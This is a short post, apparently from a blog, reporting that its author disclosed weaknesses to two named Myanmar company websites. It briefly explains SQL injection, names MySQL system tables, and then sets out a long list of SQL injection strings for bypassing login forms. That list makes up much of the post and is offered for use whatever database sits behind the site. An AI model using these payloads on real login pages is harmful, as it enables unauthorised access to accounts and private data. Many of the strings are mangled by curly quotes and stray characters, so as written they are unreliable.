Last week PlanetCreator informed Security Weakness of Myanmar Uready http://www.myanmaruready.com/ and Su Aung Phyo Co., Ltd. http://www.suaungphyo.com to their webmaster and fixed as long as we reported.

SQL injection is a technique used to take advantage of non- validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database. Attackers take advantage of the fact that programmers often chain together SQL commands with user provided parameters, and can therefore embed SQL commands inside these parameters. the result is that the attacker can execute arbitrary SQL queries and commands on the backend database server through the Web application.

A database is a table full of private and public site information such as usernames, products, etc. They are fundamental components of Web applications. Databases enable Web applications to store data, preferences and content elements. Using SQL web applications interact with databases to dynamically build customized data views for each user.

Data types:
mysql.user
mysql.host
mysql.db

Bypassing login scripts:
SQL injection strings and the DB doesnt matter.
‘) OR (’a’ = ‘a
‘) OR (’1?-’1
‘or”=’
‘ OR ‘1=1
admin’–
‘ or 0=0 –
” or 0=0 –
or 0=0 –
‘ or 0=0 *
” or 0=0 *
or 0=0 *
‘ or ‘x’=’x
” or “x”=”x
‘) or (’x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (’a’=’a
“) or (”a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’=’a
hi’) or (’a’=’a
hi”) or (”a”=”a
‘ or 1=1–
or a=a–
‘ or 1=1–
1? having ‘1?=’1?–
‘ or ‘x’=’x–
foo’+OR+’1?=’1

Remark: I really appreciate their action when i report them bcoz they care not only their web’s security also customers.